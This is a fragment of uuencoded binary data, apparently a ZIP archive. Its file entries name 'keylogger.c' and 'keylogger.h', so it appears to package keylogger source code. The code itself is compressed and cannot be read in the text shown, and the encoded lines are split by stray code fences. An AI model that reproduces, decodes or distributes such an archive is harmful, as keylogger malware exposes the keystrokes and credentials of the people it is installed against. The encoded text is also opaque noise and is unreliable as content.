M1VV*5&T,_?B&,L![@;E?*&_W]IO5]><='[UO<6FO``7/SM2XJG?_A=02P,$
M%`````@`.')&-WQW,#^R"@``_",```L```!K97EL;V=G97(N8]5:_V_;N!7_
M^0+D?^!U@$]*')]SV["A.650;"7Q8LN&)#=KBT)09-K6198\B8Z3Z_5_W^,7
M2:0L-^FUAVU"T5HDW_?W/H^D^J<H">/-#*-7]_@I3A<+G'66KPX/#@]^/$+>
M,L/!#)%E0-`VBPC.$5LR0[`X1U%"4C2/8HR.?CP\>$BC&;I-LWN<"3IM8*/)
MF_&@CRXV\SG.7))M0J(?'GP\/$#P3&ZLMR-K=#&]O!0KSOC$8.R[GNE-7?]B
M..[=H$N0X9*`;/(VNJ5Z\!>Q^MJT^T.++;H.DEF,Q3BHAZ*"(/JU&-XD>;1(
MP(9P&63(S,/!H`>_Q$*NQ_M;9^!9/M7,<GQW\,[Z<$9]0NGY"D.3M-=E^X28
M=]L>.(%@JI;6JI1K\VGEN1P,+=^<3"R[[_=-ST2_(?>MW;MVQC:(;J)H#=,%
```

```
MY3F^^\4D)(ON&A?)?K.GP^%^V9[G#"ZF8+(]=D;FL(VZ>]>.04U_<+EWOM!\
M#.&#0-ICVQQ:CM>TGNF$NGKIVWF::9'1/4/1S]RE)^<WD&F#9(8?8?#X6.?K
M/E;,5GB58Z))P:/*HYT`ZF<531ETXTC3U'PXTEN:+/I]]*%#5_;2&=9E'ODV
M(N%2*UGIU=1'U=0PR#'J/O[]]:X'<I(EX?I)U?[5SQ?N^:L&$TY.906*I\QO
MXR^UV3M(P/O2MS5U3N]>KH_E]GZ70G_]$H7^-G^Y0GUK^`<J-,/S8!.3!G5D
MB.A^,,K@?U;HZ1ZAQ?NGZN>[+2-CF"%!AB@4^>^6A(,*=$F`)U,4?OFDPIA4
M7U!V)7+%:2XK4!!/<@]GJR@!6'.?<H)7'.@U5L&?1--P@Q5&04YK&=EDFN/L
M"I,1SO-@`1K]LLD)FD54-@9\GF^2D$1IPCJ([7'41[9G3@;(QML)QO>"5!M/
M/30=CNTKM![EBS:"YL)?E[?)3'H%M0G.1E&R.Q8\2F,.7J4/&%A5#:E4`,07
MKE5:S63D7B$@49!>]!^Y]95]B*\HV1GC>";;Q"WA!DAZ2^I66I;<2OG0@T`?
MG3(Y0^!YZ`DH3>(G%,U!4]^Q1N,W%HIR!`#)'$RIH[F&M)+%R?F*JV(8MR._
M=VTZ.FJUD%:*-8R2DXYVT5>8=8-O@XA<IID;)0O6E7!(-(TU?[TUPBN:;:,-
MP6`1S0@'_WN#<])&-SA+<#P"<`6KS:%KJ=DJ%!92#+$I<*>]GN6Z*N*J-09$
M)B36`]Y-<\.>CGSHW3)]S:KBF>2\ARO)WMH-=!MYUXYE]GUS./1-IEQ3S<J$
M;23KUX1:11GNBFM:+7,S%-L-H\5_G.KH'TC\_@F]+G[6X>F3^KKKQO=[/%LU
M2D/*K^TDR(+5V7-,&8?CXQTLOL$.CC%T")8]6BV76,KHNUA:HER&R29+J@*4
M<&J\R6!Z'0<A7BE0U`1<FKX'H:0EWP2@_G@P`M-[01S#KAZC-(L6`.>QBL,L
M0C)D248^AUC/P%2%09^!(*13)85$M(5NDF$X>*3W`"XL.H624LD"P36T%+J:
M9$\(#B8+`#W\"(>;'%(-!6$(_.@XM3N'1(4=WQU+0#@1D`@<$C*OI"+EBHQ3
M40*(,TJ>;F(@QQQNTP17#LPV24+U)$L`WA"*H8/,.$^I8@D&F2"`FH*V2YQ0
M=@I[H1!0SC>@#`2.+DE0R&"(J4[$F2SE)S(4D<*H693?EZZAS_\..,L5_2)H
MIO$<S%&XR=@V0?5+I]-1[&P0(E+"6JW)$W..X'#WQ'W)(U1YDYUP:1)PI\X"
M$E"W[KBT>/Z/.@.XX79)#^G"5G#B%@C!`VUQB"D2*,&/I:MYQH8!Y%X*Y9%L
M,#OZ4[\U^>.;MI__<@.2UZEOX,H^+7;PVA*ET#]"5AL9@POFPA4MHQT/?>LF
M1A5Q^*`(W0;JEHDMNMME@4>P0-``'LUE&,3"=HWF4P3;\:CI`UL09TZQ$=W$:
MWC-Y@"@T[O,HF7589N:L;)8X9`!\&R5__FF2I0Q/P2S6/-,Y(V651AF!BR"O
M*IRD.U"&E12^J=PU9P!_>"T7;3"9P:S@KM$KI:HA\B4]#@D69=!6E&'M,>,S
M18L<#ES/MVS/>0LO?-DP2NX-6G;2-5'Y]%)H!NPDQ"=E:88LS*ADE0<G9;'&
MU-4G.31/,5&85<1:8B&3BEE%VI'&^:$C79/7'H_G<_"M-?'EY7K5A;>T]+73
MW9T[[<$RS?=&E_?=2W`!!+Y,C"6<Y928@[QVD5,1V4EV,=-@42%68UX^-T[U
M5DNQQI"\6IXV:GR[+/MO:=*1+-TLE@@_8.CX:B*SUIFDT(39EH%9Y-&.S%,R
M^8&`7>LUYAL>91MASAZ")(3&RMHSBJ-<M5%.(TU*L'V!L0%5K<EE#.OE(F],
MEHKUR3FCV$<@OYPTB9((OS:1E-HH$;*.3CPNS,<!W>_L./JU_@4`Y2Z#6;I%
M7G`78PF$%BG$DR,-C[WE75N.V6?A+A'*Q=E#%&)&?`&HVZ%;"<C4*&>DTNU#
MEJX`G,7Z/L[#+%J3-&.4?.<%9"MZ97''-VJR7C7<XE-L1K@8D,P2.+</Q8AH
M^>*=41<X5LS)YC3@&N__3:BV#\PX8T.6:<@B#5EBB6[*H$C8(ZVE[?-?IQZ&
M,IEJ>L@I*;FL5D$>KZ`]/-37HB(\1GK#25E^7J4,$&C<2\`X.:=I1'=I;;KG
MB6DN!;2E41[LIK1;`H#B)E6HJAAW4U.U\=7'I8JRFUX*W+*0[Y5P*1C.1G)V
```

```
M?"J3OH1NNG_Y/'87&?<"]!8>4=)H/X)_(>)*&=X,N'67R@G3@*!"69'#%??]
MF/N"+!/R=HF_(A->BKP"5<L;@WX&F]O,2NA)F'V$ZSN#-Y;CCR_^:?4\,<W/
M@>P.8C*U![UQW_)=SQFPJ]$%Q"![F@1D64<NJ4+;Z*BZ&3`!O&%`NMVD(P5V
MN'VO!@\Y.I(04X:N\IIBD$0D"N+HUT"YFI`T*,%)U<.H:5%P5SC3+T<I.(@?
M>/A]-;TE6+/#H?R=LQ`L#BR=ZL`J3C.=W4OT&UQJW[SK[Q8!5@Y+TJ%(539E
MT6)];I-$]-Q!OXT4%R*@;?4AEI(Y)*9D4[[492NUXJ.A':R@R0S'5S[]8&>;
MH_+T4>G,LX-_6P2%<^U%7QS51Y'W[&H-LM/OF:[E#VS7LMV!!SF+?D-T^,9R
M;&OH\\LM_7E>ZG>/TI.T32NGGC8]."%(2Q*%00P%M8!$JP)^@Z&&<-83\PZ;
M+K?O<A[6#BYZF05#'#S@/0Q4O92MA=@*M?E>ZBN4E&M,:RY#O;Y[D?<MSQI2
M&L&M8/>I=`<G+,#LSHWVFN*&K-*\5K22"B?G,A;F[T\_[.PFC@=VW_J7?V5Y
M(PBD>6456Z-:Z?\NKA/+NE'9EF9"\@?\RD0ZQHKKDB6XB+6P+=U#WW=R]I\D
MF/5O3)2OJ6NJL'%.1<IHDR(I]9K_2]$N!`U\"R?JRKG2/4UQJ5LY.@X(KIJ\
M<I%K:#9T"LNI_*=K-30O8J]^LRH()1<!9<WKBMK7]+I34:Q-+]:*/3;=JN(L
MVZQ)E1E^D*]V-CYA'!T>?$=_K=('A.G7L3#KBB$*C&P(#GWHM`O/=45)U\/2
M-EU1]E#Z3\UB0[G0%^;7;3/4[Y)G#1HW*%FH`F#-!@L5O]O5CPWEA!K[27+C
M+?Z!1O^!?N*=89:$52[UL9Q+*L"(;8)Z/TOW#/\!4$L!`A0`%`````@`)')&
M-X[]UT*2!```/@P```L``````````0`@(````````&ME>6QO9V=E<BYH4$L!
M`A0`%`````@`.')&-WQW,#^R"@``_",```L``````````0`@(```NP0``&ME
?>6QO9V=E<BYC4$L%!@`````"``(`<@```)8/````````
`
end
```